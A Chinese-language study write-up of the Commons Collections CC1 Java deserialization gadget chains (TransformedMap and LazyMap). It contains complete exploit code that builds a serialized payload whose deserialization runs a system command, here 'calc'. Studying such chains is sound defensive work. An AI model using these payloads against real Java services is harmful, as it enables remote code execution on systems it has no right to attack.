javasec-CC1分析

通过反射执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package org.example;

import java.io.IOException;
import java.lang.reflect.Method;

public class Main {
public static void main(String[] args) throws Exception {
//命令执行:
//Runtime.getRuntime().exec("calc");
//获取Runtime类名
Class Runtimeclass=Runtime.class;
//获取getRuntime方法getMethod("方法名",方法参数类型)
Method getRuntimemethod =Runtimeclass.getMethod("getRuntime",null);
////调用invoke获取 Runtime 无参数为null
Runtime r =(Runtime) getRuntimemethod.invoke(null,null);
//获取exec方法
Method execMethod =Runtimeclass.getMethod("exec",String.class);
//调用命令
Object object=execMethod.invoke(r,"calc");

}
}

CC1-TransformedMap链

InvokeTransformer

InvokeTransformer 的核心功能:利用 Java 的反射(Reflection)机制,去调用一个指定对象的指定方法

transform方法可以实现方法的调用

image-20260711203354920
1
2
3
4
5
6
7
8
9
10
11
12
13
import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
public static void main(String[] args) throws Exception {
//Runtime r =Runtime.getRuntime();
Method getRuntimeMethod= (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{ Object.class,Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);

//利用Java反射机制来创建类实例
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

}
}
  • String methodName:方法名
  • Class[] paramTypes:方法的参数类型
  • Object[] args:参数

TransformedMap

TransformedMap类:当 Map 中的数据发生变化(如添加新元素或修改已有元素)时,自动对 Key 或 Value 进行预设的“转换”处理

可以把普通的 HashMap 想象成一个普通的水桶,往里面倒什么水(Value),桶里装的就是什么水。倒自来水,里面就是自来水;倒脏水,里面就是脏水。

TransformedMap 则是给这个水桶装了一个“智能多功能净水水龙头”。

  • 装饰(decorate)阶段: 你在水龙头里安装了特定滤芯(传入 Transformer 转换器)。
  • 注入(setValue / put)阶段: 以后任何人往这个桶里倒水,都必须经过这个水龙头。

如果装的是“除杂滤芯”:倒进污水,水龙头自动把它转换成纯净水,最后流进桶里的其实是纯净水。 如果装的是“加糖滤芯”:倒进白开水,水龙头自动把它转换成糖水。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class transformedMap {
public static void main(String[] args) {
// 1. 创建普通 Map
Map<String, String> userMap = new HashMap<>();

// 2. 预设一个“转换器”:把传入的字符串去空格并变大写
Transformer cleanTransformer = new Transformer() {
@Override
public Object transform(Object input) {
if (input instanceof String) {
return ((String) input).trim().toUpperCase(); // 转换逻辑
}
return input;
}
};

// 3. 用 TransformedMap 包装起来(装饰)
Map decoratedMap = TransformedMap.decorate(userMap, null, cleanTransformer);

// 4. 外部正常使用
decoratedMap.put("user1", " admin "); // 故意输入带空格和低写的字符串


System.out.println(userMap.get("user1"));
// 输出结果是: "ADMIN"
}
}

TransformedMap类里的checkSetValue用到transform方法。但checkSetValue方法是个保护方法。查找checkSetValue的调用

image-20260711204509414

在TransformedMap父类AbstractInputCheckedMapDecorator抽象类中,用到了checkSetValue方法。

image-20260711204624506

TransformedMap类继承抽象类AbstractInputCheckedMapDecorator,可以调用setValue方法向value赋值

image-20260712144218100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Runtime r =Runtime.getRuntime();
InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,invokerTransformer);
//entrySet()会把“键”和“值”打包成一个整体的对象,这个对象叫 **`Map.Entry`**
for (Map.Entry entry:transformedMap.entrySet()){
System.out.println(entry.setValue(r));
}
}
}

TransformedMap类的构造方法是 protected(受保护)的,不能通过 new TransformedMap(...) 直接创建它的实例。必须使用 TransformedMap.decorate() 向valueTransformer赋值

image-20260711205012025 image-20260711210108868 image-20260714152654062

代码执行过程:

image-20260712151621507 image-20260712151646383 image-20260712151720378

ChainedTransformer

ChainedTransformer 的核心作用就是把多个 Transformer 串联起来,形成一个链条。前一个 Transformer 的输出结果,会直接作为下一个 Transformer 的输入参数

image-20260714172213147

命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
public static void main(String[] args) throws Exception {
// Transformer[] transformers = new Transformer[]{
// new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// new InvokerTransformer("invoke",new Class[]{ Object.class,Object[].class},new Object[]{null,null }),
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
// };
// ChainedTransformer chainedTransformer =new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

Transformer[] transformers = new Transformer[] {
// 步骤 1:不管输入是什么,强行返回 Runtime.class
new ConstantTransformer(Runtime.class),

// 步骤 2:输入是 Runtime.class,输出是 getRuntime 的 Method 对象
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),

// 步骤 3:输入是 Method 对象,输出是普通的 Runtime 实例对象
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),

// 步骤 4:输入是 Runtime 实例对象,执行 exec("calc")
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { "calc" })
};

// 用 ChainedTransformer 将它们打包成一个整体
Transformer chain = new ChainedTransformer(transformers);

// 此时,触发整条流水线只需要任意一个输入即可:
chain.transform("anything");
}
}

AnnotationInvocationHandler

image-20260714181847212

AnnotationInvocationHandler作为 Java 动态代理的处理器,用来在运行时动态地实现一个注解(Annotation)接口。AnnotationInvocationHandler类中,重写了readObject方法,且此方法中用到了setValue函数。反序列化AnnotationInvocationHandler实例对象时,会自动执行readObject方法。

链条:

1
2
3
4
5
6
7
8
9
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> TransformedMap(AbstractInputCheckedMapDecorator$MapEntry).setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform() (返回 Runtime.class)
-> InvokerTransformer.transform() (反射获取 getRuntime 方法)
-> InvokerTransformer.transform() (反射调用 invoke 获取 Runtime 实例)
-> InvokerTransformer.transform() (反射调用 exec 执行命令)
image-20260714211647500
  • Class<? extends Annotation> type:一个注解的类型(Class 对象),比如 Retention.classTarget.class 或自定义的某个注解类。
  • Map<String, Object> memberValues:一个 Map,保存了该注解各个属性的具体数值
image-20260714220644211

第一个条件:if (memberType != null)

  • 检查传入的恶意 Map 里的 Key,是不是这个注解类里真实存在的属性(方法)名
image-20260714221733701

@Target 内部只有一个名为 value() 的属性

第二个条件:if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))

  1. memberType.isInstance(value)
  • 检查传入恶意 Map 里的 Value,它的类型是不是该注解属性所要求的合法类型
  1. value instanceof ExceptionProxy
  • 检查传入的 value 是不是一个异常代理对象(通常用于处理注解解析时的异常)。

满足条件的map:("value","value")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {

HashMap<Object,Object> map=new HashMap<>();
map.put("value","value");
Transformer[] transformers = new Transformer[] {
// 步骤 1:不管输入是什么,强行返回 Runtime.class
new ConstantTransformer(Runtime.class),

// 步骤 2:输入是 Runtime.class,输出是 getRuntime 的 Method 对象
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),

// 步骤 3:输入是 Method 对象,输出是普通的 Runtime 实例对象
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),

// 步骤 4:输入是 Runtime 实例对象,执行 exec("calc")
new InvokerTransformer("exec",
new Class[] { String.class },
new Object[] { "calc" })
};

// 用ChainedTransformer 将它们打包成一个整体
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer);

Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//newInstance():创建类的实例
Object o=constructor.newInstance(Target.class,transformedMap);
//serialize(o);
deserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

CC1-LazyMap链

动态代理

**动态代理(Dynamic Proxy)*就是 Java 中的一种*“替身机制”**。在不修改原本代码的前提下,为某个对象创建一个代理对象(替身)。以后所有对目标对象的调用,都会先经过这个代理对象,让代理对象在真正的业务逻辑执行前后,悄悄加上一些“额外的工作”。

定义接口:

1
2
3
4
public interface Hello {
void morning(String name);
}

编写实现类:

1
2
3
4
5
6
public class HelloWorld {
public void morning(String name){
System.out.println("Good morning,"+name);
}
}

动态代理实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Main {
public static void main(String[] args){
final Hello target= new HelloWorld();
InvocationHandler handler=new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

if (method.getName().equals("morning")){

System.out.println("What a beautiful day!");
}
return method.invoke(target,args);
}
};
Hello hello=(Hello) Proxy.newProxyInstance(Hello.class.getClassLoader(),new Class[]{Hello.class},handler);
hello.morning("Bob");
}
}
//What a beautiful day!
//Good morning,Bob

在运行期动态创建一个interface实例的方法如下:

  1. 定义一个InvocationHandler实例,它负责实现接口的方法调用;
  2. 通过Proxy.newProxyInstance()创建interface实例,它需要3个参数:
    1. 使用的ClassLoader,通常就是接口类的ClassLoader
    2. 需要实现的接口数组,至少需要传入一个接口进去;
    3. 用来处理接口方法调用的InvocationHandler实例。
  3. 将返回的Object强制转型为接口。

LazyMap

在LazyMap,get方法中同样使用了transform方法

image-20260717161426574

If条件:map中并不存在key这个键

与TransformedMap类似,LazyMap的构造方法是保护的方法。无法直接进行实例化,需要使用decorate这个方法对factory进行赋值

image-20260717161605577 image-20260717161858265
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1lazymap {
public static void main(String[] args) throws Exception {


Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> decorate=LazyMap.decorate(map,chainedTransformer);
decorate.get("a");

}

AnnotationInvocationHandler

在AnnotationInvocationHandler类invoke方法中,调用了get这个方法: memberValues.get(member)

image-20260717163726220

在AnnotationInvocationHandler类中重载了readObjext方法。在反序列化时,会自动调用到memberValues.entrySet()。将memberValues值做一个动态代理,调用到AnnotationInvocationHandler类中的invoke方法,执行get方法,成功触发利用链

image-20260717165014130

exp

  1. 入口阶段 (readObject ──> entrySet) Java 自带的反序列化机制启动,最外层的 AnnotationInvocationHandler 在恢复数据时,主动去遍历它持有的 proxyMap(调用其 entrySet() 方法)。
  2. 拦截中转阶段 (entrySet ──> invoke ──> get) 因为 proxyMap 是个动态代理,它没有 entrySet 的具体实现,于是把请求丢给内层的 AnnotationInvocationHandler。该处理器的 invoke 方法将其误判为属性获取,从而向真正的 lazyMap 发起了 get("entrySet") 查询。
  3. 引爆阶段 (get ──> transform ──> 命令执行) LazyMap 在本地 Map 中找不到 "entrySet" 这个键,触发了你刚才看到的 if (map.containsKey(key) == false) 逻辑,调用 ChainedTransformer.transform()。恶意的反射链条依次启动,最终通过 InvokerTransformer 执行了系统命令。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC1lazymap {
public static void main(String[] args) throws Exception {


Transformer[] transformers={
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler annotationInvocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), map.getClass().getInterfaces(), annotationInvocationHandler);
annotationInvocationHandler = (InvocationHandler) declaredConstructor.newInstance(Target.class, proxyMap);
serialize(annotationInvocationHandler);
deserialize();

}

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object o = ois.readObject();
System.out.println(o);

}
}

参考:https://liaoxuefeng.com/books/java/reflection/proxy/index.html

Next postnexus渗透思路